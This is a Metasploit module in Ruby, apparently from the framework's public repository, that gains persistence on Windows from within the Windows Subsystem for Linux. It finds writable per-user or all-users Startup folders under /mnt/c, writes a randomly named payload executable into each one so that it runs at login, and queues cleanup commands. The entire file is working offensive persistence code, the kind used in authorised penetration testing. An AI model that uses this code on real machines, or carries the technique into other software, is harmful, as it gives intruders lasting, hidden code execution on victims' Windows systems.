h00die
103 lines
3.5 KiB
Ruby
103 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Local
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Rank = ExcellentRanking
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include Msf::Post::File
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include Msf::Exploit::EXE
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include Msf::Exploit::Local::Persistence
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include Msf::Post::Linux::Wsl
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Linux WSL via Startup Folder Persistence',
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'Description' => %q{
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This module establishes persistence by creating a payload in the windows startup folder from within
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the Windows Subsystem for Linux (WSL) environment. This allows for code execution on Windows user login.
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Verified on Windows 10 with Ubuntu 24.04 WSL distribution.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'h00die' ],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter', 'shell' ],
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'Targets' => [
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[ 'Automatic', {} ]
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],
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'DefaultTarget' => 0,
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'References' => [
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['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
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['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
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],
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'DisclosureDate' => '2016-08-02', # WSL release date
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'Notes' => {
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'Stability' => [CRASH_SAFE],
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'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
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'SideEffects' => [ARTIFACTS_ON_DISK]
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}
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)
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)
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register_options(
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[
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OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
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OptEnum.new('CONTEXT', [false, 'Target each User or All Users (system)', 'USER', ['USER', 'SYSTEM'] ]),
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OptString.new('USER', [false, 'The user to target, or ALL for all users.', 'ALL'], conditions: ['CONTEXT', '==', 'USER'])
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]
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)
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end
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def exploitable_folders
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can_do = []
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if datastore['CONTEXT'] == 'USER'
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root = '/mnt/c/Users'
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tail = '/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'
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user_folders = dir(root)
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user_folders.each do |f|
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next if f =~ /Public$/i
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next if f =~ /Default$/i
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next if f =~ /Default User$/i
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next if f =~ /All Users$/i
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next if f =~ /desktop.ini$/i
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next unless (f.upcase == datastore['USER'].upcase) || (datastore['USER'] == 'ALL')
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folder = File.join(root, f, tail)
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can_do << folder if directory?(folder) && writable?(folder)
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end
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return can_do
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end
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root = '/mnt/c/ProgramData/Microsoft/Windows/Start Menu/Programs/Startup'
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can_do << root if directory?(root) && writable?(root)
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can_do
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end
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def check
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return CheckCode::Safe('Target is not WSL') unless wsl?
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vprint_good('Inside WSL environment')
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return CheckCode::Safe('No writable startup folders found') if exploitable_folders.empty?
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CheckCode::Appears('Likely exploitable')
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end
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def install_persistence
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payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
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payload_name << '.exe' unless payload_name.downcase.end_with?('.exe')
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payload_exe = generate_payload_exe
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exploitable_folders.each do |folder|
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f = File.join(folder, payload_name)
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write_file(f, payload_exe)
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vprint_good("Writing payload to #{f}")
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windows_path = f.sub(%r{^/mnt/([a-z])}) { "#{::Regexp.last_match(1).upcase}:" }.gsub('/', '\\')
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@clean_up_rc << "rm \"#{windows_path}\"\n"
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end
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end
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end
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